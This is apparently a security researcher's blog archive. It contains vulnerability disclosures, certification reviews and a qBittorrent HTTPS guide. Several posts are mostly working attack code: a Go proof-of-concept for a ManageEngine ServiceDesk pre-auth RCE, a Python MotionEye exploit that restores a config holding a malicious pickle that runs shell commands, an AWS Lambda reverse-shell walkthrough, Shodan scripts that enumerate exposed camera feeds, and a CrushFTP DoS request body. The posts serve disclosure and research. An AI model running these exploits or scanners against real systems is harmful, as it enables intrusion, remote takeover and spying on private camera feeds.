Category Archives: security

PyMedusa OS Command Injection

PyMedusa is a well-known video library manager that many of us self-hosted types may use to organize our libraries. I decided to give it a spin one day and found a classic OS command injection as seen here. I reported it ASAP, though I was a little confused as to how to fix it at that time, but the team fix it quite quickly. A great response time!

Sometimes people may say, “Hey, the OSCP is worthless and you won’t find anything like that IRL.” To that I’d reply, “You’d be surprised.” Also, this is a good example of OSWE level security issues. This is a Python app that you can simply clone, install the requirements, and debug easily in VSCode.

This was given CVE-2023-28627.

SQL Injection in Eufy Security Application

I found a textbook SQLi in the Eufy Security application.

Don’t mind the heavy use of red blocks to redact. The first, normal request. Everything looks fine. Notice the response time at 35 milliseconds.

a normal request as seen in Burp

The second request with a 10 second sleep payload. Notice the response time in the bottom right corner.

Was able to dump some info to confirm this was actually real.

It’s been reported and confirmed by Eufy.

Updating All my Passwords

I recently updated nearly every one of my passwords that I had in my password manager. We all know that it is a good security practice to use a different password for every account, but we also know that that is probably not what anybody is doing. It helps if you use a password manager. I use 1password, and I’ve used it for nearly ten years, at this point. I can’t complain about it one bit.

I somehow have managed to not reuse any passwords, according to this. Here my the ‘Watchtower’ result.

I still have a few left to modify, but for reference, the vulnerable passwords category was at nearly 200 when I started.

You’d be surprised if you knew the amount of sites that I ran across that didn’t have an option to change a password. You’d have to pretend like you lost your password and go through the reset process that way.

Also, I took this opportunity to delete accounts that I wasn’t using anymore, or delete accounts for sites that don’t exist anymore. I think it should be a mandatory feature for sites to have a delete your account function, but a lot (most) don’t.

Anyway, go change your passwords.

CrushFTP DoS

I was doing a security review of CrushFTP, a multi-platform FTP application, and I came across a DoS stemming from lack of validation of user input.

Originally, I thought there was broken function level authentication, or something similar, when making a request to this particular endpoint with a specific post body, but I was informed by the dev that it is supposed to be an unauthenticated function call.

An unauthenticated user can make a POST request to the /WebInterface/function/ endpoint, with a body containing the following:

command=encryptPassword&encrypt_type=DES&password=[arbitrarily-long-password]
Malicious POST Request

This request will cause a DoS by supplying massive passwords to be encrypted. Although CrushFTP does have some preventative measures in place for DOS attacks, an attacker is able to send a small amount of requests and bog down the system, as seen in the next picture.

CPU Usage Spiking

The issue stems from a lack of input validation for the password parameter, as seen on lines 752 through 786 of ServerSessionAJAX.java.

The developer is very responsive and fixed the issue in a couple of hours. As we can see, the password parameter is now limited to 2000 characters.

And he was gracious enough to give me a shout out in the build logs.

https://www.crushftp.com/version10_build.html

All in all, CrushFTP is an awesome application, and it seems to have a great track record in regards to security. There are only a handful of published CVEs for it, and this seems to be the only thing I’ve found in my testing, so far. The dev is also quick to implement fixes, so users aren’t stuck without a fix for long. I wouldn’t hesitate to use CrushFTP in any environment.

With that said, I did some Shodan searching for instances of CrushFTP running with a slightly non-standard default username and password, and I found a fair amount of them. I tried reporting those to the companies that were running them, but I’ve yet to receive any responses.

Edit: Some major vulns have been released for CrushFTP recently. Kind of jealous since I got sidetracked with new jobs and quit looking at CrushFTP, haha,

https://convergetp.com/2023/11/16/crushftp-zero-day-cve-2023-43177-discovered/

Golang Proof of Concept Exploit for CVE-2021-44077: PreAuth RCE in ManageEngine ServiceDesk Plus < 11306

Once again, I decided to rewrite an exploit in Golang. Once again, I did thirty seconds of searching to find if someone had already written this one in Golang. Once again, I did not find a preexisting POC in Golang. Once again, I wrote one. Once again, my code is horrible.

You can find a vulnerable version of the software here. You can find this code on my Github here.

package main

import (
	"bytes"
	"crypto/tls"
	"flag"
	"fmt"
	"io/ioutil"
	"log"
	"mime/multipart"
	"net/http"
	"net/url"
	"os"
)

func uploadFile(uri string, paramName, path string) {

	file, err := os.Open(path)

	if err != nil {
		log.Fatal(err)
		return
	}
	fileContents, err := ioutil.ReadAll(file)
	if err != nil {
		log.Fatal(err)
		return
	}
	fi, err := file.Stat()
	if err != nil {
		log.Fatal(err)
		return
	}
	file.Close()

	body := new(bytes.Buffer)
	writer := multipart.NewWriter(body)
	part, err := writer.CreateFormFile(paramName, fi.Name())
	if err != nil {
		log.Fatal(err)
		return
	}
	part.Write(fileContents)
	writer.Close()

	request, err := http.NewRequest("POST", uri, body)
	if err != nil {
		log.Fatal(err)
	}

	request.Header.Set("User-Agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36")
	request.Header.Set("Origin", "null")
	request.Header.Set("Accept", "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9")
	request.Header.Set("Content-Type", writer.FormDataContentType())

	// set a proxy for troubleshooting
	proxyUrl, err := url.Parse("http://localhost:9090")
	tr := &http.Transport{
		TLSClientConfig: &tls.Config{InsecureSkipVerify: true},
		Proxy:           http.ProxyURL(proxyUrl),
	}
	client := &http.Client{Transport: tr}

	resp, err := client.Do(request)
	if err != nil {
		log.Fatalln(err)
	} else {
		fmt.Println("Response code should be 401, if successful uploading occured.")
		fmt.Println(resp.StatusCode)
	}

	defer resp.Body.Close()

	return
}

func triggerExploit(uri string) {
	// set a proxy for troubleshooting
	proxyUrl, err := url.Parse("http://localhost:9090")
	tr := &http.Transport{
		TLSClientConfig: &tls.Config{InsecureSkipVerify: true},
		Proxy:           http.ProxyURL(proxyUrl),
	}
	client := &http.Client{Transport: tr}

	triggerURL := uri + "RestAPI/s247action"
	postData := "execute=s247AgentInstallationProcess"

	request, err := http.NewRequest("POST", triggerURL, bytes.NewBufferString(postData))
	if err != nil {
		return
	}

	request.Header.Set("User-Agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36")
	request.Header.Set("Origin", "null")
	request.Header.Set("Accept", "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9")
	request.Header.Set("Content-Type", "application/x-www-form-urlencoded")

	client.Do(request)
}

func main() {
	// get flags
	VulnerableInstance := flag.String("u", "http://127.0.0.1:8080", "Vulnerable Service Desk URL: http://127.0.0.1:8080")
	maliciousFileName := flag.String("f", "exploit.exe", "File you want to upload: exploit.exe")

	flag.Parse()

	path, err := os.Getwd()
	if err != nil {
		log.Fatal(err)
	}
	fullMaliciousFileName := path + *maliciousFileName

	fmt.Println("\n---> Uploading File!")
	uploadFile(*VulnerableInstance+"RestAPI/ImportTechnicians?step=1", "theFile", fullMaliciousFileName)

	fmt.Println("\n---> Triggering!")
	triggerExploit(*VulnerableInstance)

	fmt.Println("\nExploit Completed!")

}

A Quick AWS Lambda Reverse Shell

Let’s say you’re doing a pentest, and you run across access to AWS Lambda. I recently learned you can get a persistent shell (for 15 minutes, at least) via Lambda, which seemed odd to me because always just considered Lambda a repeatable, but ephemeral thing.

Anyway, first create lambda_function.py with the following code. Note that you’ll need a hostname to connect to. In my case, I used pizzapower.me.

Lambda reverse shell python code.

Next, zip this up into shell.zip.

Creating shell.zip that contains our reverse shell function.

Now we are going to create a Lambda function and upload our shell.zip with the following command

aws lambda create-function --function-name test --runtime python3.9 --handler lambda_function.lambda_handler --timeout 900 --zip-file fileb://shell.zip --role <The Amazon Resource Name (ARN) of the function's execution role>
Creating our function and uploading the code.

Don’t forget to start your listener, and when you are ready, trigger the function!

And catch the shell.

According to the docs, “a Lambda function always runs inside a VPC owned by the Lambda service.” But you can attach your function to your own VPC, so depending on how the victim’s AWS environment is configured, you may be able to pivot around and exploit some more stuff.

Offensive Security PEN-300 Evasion Techniques and Breaching Defenses – Course and Exam Review

You know, OffSec describes the OSEP as: “Evasion Techniques and Breaching Defenses (PEN-300) is an advanced penetration testing course”. I don’t know how advanced it is, if I can pass, lol. I generally have no idea what I’m doing.

Anyway, I really liked the course. There is a lot of material to keep you busy. Unless you’re already familiar with a large chunk of the topics, you’re probably best-served by purchasing the 90 day version of the course. The challenge labs are fun. Make sure you do them before the exam.

The exam was challenging, but fair. You should be able to figure out what you need to do next somewhat quickly, but executing it may be a different story, if you’re anything like me. Just ask yourself, “What did I just accomplish, and what does that allow me to do now?” If you’ve completed the challenge labs, you will be well-prepared for the exam. Some people say to make sure you do all the questions and extra miles in the lab manual, but I only did, I don’t know, 30% of them?

I don’t know what’s next for me. I have a voucher to do the OSED, but I’m a little burned out at this point. I’ll probably put that off until the summer – because who doesn’t like sitting inside and writing exploits when the weather is nice?

Hacking MotionEye/MotionEyeOS

Getting Started with MotionEye

MotionEye is an open source, web-based GUI for the popular Motion CLI application found on Linux. I’ve known of the Motion command line app for years, but I didn’t know that MotionEye existed. I ran across it while trying to find a multiple webcam, GUI or web based solution for future projects.

MotionEye comes in a couple forms – a standalone app, which I used the docker container version of, or a “whole” operating system, MotionEyeOS, to install on a Raspberry Pi.

Starting off, I used Shodan search to find internet facing installations. Here is the script I used for that. If you use this script, you’ll need to put in your API key and the limit parameter, which limits the API queries that you use.

#!/usr/bin/env python3

import sys
# pip3 install shodan
from shodan import Shodan
import requests

# check for api key
api = Shodan('') # Insert API key here

if api.api_key == '':
    print("No API key found! Exiting")
    sys.exit(1)

limit = 1000 # set this to limit your api query usage
counter = 0

url_file = open("urls.txt", "w")

for response in api.search_cursor('Server: motionEye'):
    ip = response['ip_str']
    port = response['port']
    url = f'http://{ip}:{port}'
    url_file.write(url + '\n')

    # Keep track of how many results have been downloaded so we don't use up all our query credits
    counter += 1
    if counter >= limit:
        break

url_file.close()

I ran out of query credits when I ran this script. There are thousands of installations out there. This script will output the IP addresses of those installations.

Finding Live Feeds

In my review of the application, I found that you can make a query to the /picture/{camera-number}/current/ endpoint, and if it returns a 200 status code, it means that the feed is open to the public. You can also increment the camera-number an enumerate the numbers of cameras a feed will actually have, even if it isn’t available to view.

I took the output of motioneye-shodan.py script above, and fed it to live-feeds.py script below.

#!/usr/bin/env python3

import requests

url_file = open("urls.txt", "r")
urls = url_file.readlines()
url_file.close()

live_urls = open("live-urls.txt", "w")

for url in urls:
    try:
        response = requests.get(url + "/picture/0/current/", verify=False, timeout=3).status_code
        print(response)
        if response == 200:
            live_urls.write(url)
    except:
        pass

live_urls.close()

This script outputs the URL of camera feeds that we can view. But the real question here is, what security issues are there with MotionEye?

Information Leakage

It turns out that if you make a get request to the following endpoint /config/list, some of the feeds will return their config files. Most of the time these config files are innocuous. I’m not sure why these are publicly accessible even if the feed is publicly accessible. Maybe it is used as an API endpoint of some sort. I need to dig into the code some more.

However, sometimes these config files contain some very sensitive information. Consider the following config with email_notifications_smtp_password and email_notifications_addresses removed. These passwords are supposed to be for services that the public cannot access, but unfortunately people like to reuse passwords. Again, why is this file even readable?

Along with the occasional password, email addresses are in here, internal IP addresses and ports, mounting points for local drives, etc.

Rate-Limiting and Default Credentials

So, the default installation of MotionEye uses the username of admin and a blank password. Additionally, MotionEye does not seem to institute any sort of rate limiting on login attempts. This is a recipe for disaster.

Authenticated RCE Method #1

Once logged in, I found two simple methods of code execution. The first of which is a classic Python cPickle deserialization exploit.

In the configuration section of the application, there is an option to backup and restore the application configurations. It turns out that if you include a malicious tasks.pickle file in the config you are restoring with, it’ll be written to disk and will be loaded when the application is restarted automatically or manually.

You can simply download the current configuration to use it as a template. After downloading and extracting it, slide your malicious tasks.pickle file and tar.gz everything back up.

The final structure of my motioneye-config.tar.gz for the docker container is as follows:

β”œβ”€β”€ camera-1.conf
β”œβ”€β”€ motion.conf
β”œβ”€β”€ motioneye.conf
└── tasks.pickle

Alternatively, the final structure of my motioneye-config.tar.gz lon MotionEyeOS is the following:

β”œβ”€β”€ adjtime
β”œβ”€β”€ camera-1.conf
β”œβ”€β”€ crontabs
β”œβ”€β”€ date.conf
β”œβ”€β”€ localtime -> /usr/share/zoneinfo/UTC
β”œβ”€β”€ motion.conf
β”œβ”€β”€ motioneye.conf
β”œβ”€β”€ ntp.conf
β”œβ”€β”€ os.conf
β”œβ”€β”€ proftpd.conf
β”œβ”€β”€ shadow
β”œβ”€β”€ shadow-
β”œβ”€β”€ smb.conf
β”œβ”€β”€ ssh
β”‚   β”œβ”€β”€ ssh_host_dsa_key
β”‚   β”œβ”€β”€ ssh_host_dsa_key.pub
β”‚   β”œβ”€β”€ ssh_host_ecdsa_key
β”‚   β”œβ”€β”€ ssh_host_ecdsa_key.pub
β”‚   β”œβ”€β”€ ssh_host_ed25519_key
β”‚   β”œβ”€β”€ ssh_host_ed25519_key.pub
β”‚   β”œβ”€β”€ ssh_host_rsa_key
β”‚   └── ssh_host_rsa_key.pub
β”œβ”€β”€ static_ip.conf
β”œβ”€β”€ tasks.pickle
β”œβ”€β”€ version
β”œβ”€β”€ watch.conf
└── wpa_supplicant.conf

Pause here: You see, those are ssh keys. So you say why don’t we just try ssh? Go for it. You also may not even need a password, but some people have either secured ssh or disabled ssh on the actually raspberry pi, so it won’t work. A lot of these instances will have ssh turned off, and if it is running in docker, you probably won’t be able to download the ssh keys. Also, it is more fun to write scripts in Python.

Once the configuration is uploaded, wait for the app to reload, or, in unfortunate cases, wait for the app to be reloaded by mother nature or the victim. From what I can see, the docker application will not autoreboot. Here is a Python 3 script that will do all of this. Also, see the github repo, which may be more updated.

#!/usr/bin/env python3

import requests
import argparse
import os
import pickle
import hashlib
import tarfile
import time
import string
import random
from requests_toolbelt import MultipartEncoder
import json


# proxies = {"http": "http://127.0.0.1:9090", "https": "http://127.0.0.1:9090"}
proxies = {}


def get_cli_args():
    parser = argparse.ArgumentParser(description="MotionEye Authenticated RCE Exploit")
    parser.add_argument(
        "--victim",
        help="Victim url in format ip:port, or just ip if port 80",
        required=True,
    )
    parser.add_argument("--attacker", help="ipaddress:port of attacker", required=True)
    parser.add_argument(
        "--username", help="username of web interface, default=admin", default="admin"
    )
    parser.add_argument(
        "--password", help="password of web interface, default=blank", default=""
    )
    args = parser.parse_args()
    return args


def login(username, password, victim_url):
    session = requests.Session()
    useragent = "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.85 Safari/537.36"
    headers = {"User-Agent": useragent}
    login_url = f"http://{victim_url}/login/"
    body = f"username={username}&password={password}"
    session.post(login_url, headers=headers, data=body)
    return session


def download_config(username, victim_url, session):
    download_url = f"http://{victim_url}/config/backup/?_username={username}&_signature=5907c8158417212fbef26936d3e5d8a04178b46f"
    backup_file = session.get(download_url)
    open("motioneye-config.tar.gz", "wb").write(backup_file.content)
    return


def create_pickle(ip_address, port):
    shellcode = ""  # put your shellcode here

    class EvilPickle(object):
        def __reduce__(self):
            cmd = shellcode
            return os.system, (cmd,)

    # need protocol=2 and fix_imports=True for python2 compatibility
    pickle_data = pickle.dumps(EvilPickle(), protocol=2, fix_imports=True)
    with open("tasks.pickle", "wb") as file:
        file.write(pickle_data)
        file.close()
    return


def decompress_add_file_recompress():
    with tarfile.open("./motioneye-config.tar.gz") as original_backup:
        original_backup.extractall("./motioneye-config")
        original_backup.close()
    original_backup.close()
    os.remove("./motioneye-config.tar.gz")
    # move malicious tasks.pickle into the extracted directory and then tar and gz it back up
    os.rename("./tasks.pickle", "./motioneye-config/tasks.pickle")
    with tarfile.open("./motioneye-config.tar.gz", "w:gz") as config_tar:
        config_tar.add("./motioneye-config/", arcname=".")
    config_tar.close()
    return


def restore_config(username, password, victim_url, session):
    # a lot of this is not necessary, but makes for good tradecraft
    # recreated 'normal' requests as closely as I could
    t = int(time.time() * 1000)
    path = f"/config/restore/?_={t}&_username={username}"
    # admin_hash is the sha1 hash of the admin's password, which is '' in the default case
    admin_hash = hashlib.sha1(password.encode("utf-8")).hexdigest().lower()
    signature = (
        hashlib.sha1(f"POST:{path}::{admin_hash}".encode("utf-8")).hexdigest().lower()
    )
    restore_url = f"http://{victim_url}/config/restore/?_={t}&_username=admin&_signature={signature}"

    # motioneye checks for "---" as a form boundary. Python Requests only prepends "--"
    # so we have to manually create this
    files = {
        "files": (
            "motioneye-config.tar.gz",
            open("motioneye-config.tar.gz", "rb"),
            "application/gzip",
        )
    }

    useragent = "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.85 Safari/537.36"
    boundary = "----WebKitFormBoundary" + "".join(
        random.sample(string.ascii_letters + string.digits, 16)
    )

    m = MultipartEncoder(fields=files, boundary=boundary)
    headers = {
        "Content-Type": m.content_type,
        "User-Agent": useragent,
        "X-Requested-With": "XMLHttpRequest",
        "Cookie": "meye_username=_; monitor_info_1=; motion_detected_1=false; capture_fps_1=5.6",
        "Origin": f"http://{victim_url}",
        "Referer": f"http://{victim_url}",
        "Accept-Language": "en-US,en;q=0.9",
    }
    response = session.post(restore_url, data=m, headers=headers, proxies=proxies)
    # if response == reboot false then we need reboot routine
    content = json.loads(response.content.decode("utf-8"))

    if content["reboot"] == True:
        print("Rebooting! Stand by for shell!")
    else:
        print("Manual reboot needed!")
    return


if __name__ == "__main__":
    print("Running exploit!")
    arguments = get_cli_args()
    session = login(arguments.username, arguments.password, arguments.victim)
    download_config(arguments.username, arguments.victim, session)
    # sends attacker ip and port as arguments to create the pickle
    create_pickle(arguments.attacker.split(":")[0], arguments.attacker.split(":")[1])
    decompress_add_file_recompress()
    restore_config(arguments.username, arguments.password, arguments.victim, session)

Authenticated RCE Method #2

Another method of code execution involves motion detection. There is an option to run a system command whenever motion is detected. The security implications of this are obvious.

python rev shell

Conclusion

While authentication is needed for RCE, the presence of default credentials and lack of rate limiting make obtaining authentication straightforward. There are a lot of people running this software in a vulnerable manner.

As per my usual advice, don’t expose MotionEye to the WWW. Like all the self-hosted solutions, I advise you to install this to face your internal network and then connect to your internal network via OpenVPN or Wireguard.

Update: I was give CVE-2021-44255 for the python pickle exploit.

Quick and Easy (and not the best) way to use HTTPS with qBittorrent and Firefox

Wanna use HTTPS with your qBittorrent WebUI, but don’t know how? First off, you probably shouldn’t expose the qBittorrent WebUI to the internet. Use Wireguard to tunnel into your home network, and access it that way. Some will say you don’t need HTTPS then, but that is a discussion for another day. Anyway, if you want easy HTTPS with qBittorrent, read on.

In a Linux terminal, run the following command to create cert.crt and key.key – a key and certificate pair.

openssl req -x509 -newkey rsa:4096 -nodes -out cert.crt -keyout key.key -days 365

You can just click through all of the fields below – it won’t affect the operation of your certificate.

Click through these, or enter whatever you want – it doesn’t matter

Now, we need to add these to the WebUI. In qBittorrent, go into tools > options > Web UI. Check use HTTPS instead of HTTP. Then, enter the paths to the certificate and the key that you just created.

Choose Use HTTPS instead of HTTP

Now, when you visit the URL of the qBittorrent web interface, you’ll have HTTPS, but you’ll get a warning.

Warning you’ll get in Chrome

Click advanced and then proceed to ip-address (unsafe) and you’ll be able to log in to your web interface. Don’t worry, everything is safe. The browser is just warning you that this isn’t an official cert from a trusted authority – everything is still encrypted.

You can optionally add an exception in your browser that will bypass this warning message. You probably shouldn’t do this, but oh well. If the bad guy has gotten this far, your qBittorrent app is probably the least of your worries. After all, they’ve probably already cracked your WebUI password, and can run arbitrary python code, as I talked about here.

Anyway, in Firefox, go to settings > privacy & security. Then scroll down to find certificates where you will see the option to view certificates, so click on that. The certificate manager, as seen below, should pop up. Click on the servers tab, and then click add exception.

add an exception in Firefox

Enter the URL of your qBittorrent WebUI. As you can see, in the picture above, mine is 192.168.1.191:6969. Use your URL in the location box on the add security exception screen. Then click get certification. It’ll query the site for the cert and then the checkbox to permanently store this exception will become clickable. So click there and then click on confirm security exception.

That’s all you have to do in Firefox. Now you have HTTPS with your qBitorrent WebUI. Again, this isn’t the best way to do this, but it’ll work. If you want HTTPS with an official certificate, try out Let’s Encrypt.

Evasion Techniques and Breaching Defenses (PEN-300) – OSEP – Initial Thoughts

I just started this course the other day. I’m already neck deep in VBA, C#, and Powershell, which I need more experience in anyway. I had to do some C# for the AWAE/OSWE and I’ve written a couple very small web apps in C#. I’ve done a very minimal amount of Powershell, though I’ve been meaning to change that.

I know a lot of people say the OSCP is lacking in Active Directory attacking, which may be true. I’d counter by saying what the OSCP doesn’t cover, PEN-300 will cover. The courses go hand in hand. My early opinion is that anybody that takes and passes the OSCP should do PEN-300

All in all, I’m pleased so far. I’m only about 1/7th of the way through the PDF, though. I have a lot to go. With all that I have going on IRL, I’m not sure I’ll be able to finish it in the two months I’m allotted – I may have to get an extension.

My plan is to pass the OSEP exam in October and then start the EXP-301 course and pass that exam by the end of the year. This is an aggressive, and probably unrealistic goal, but oh well, haha.

Anyway, I’ll be back with a full report after the exam.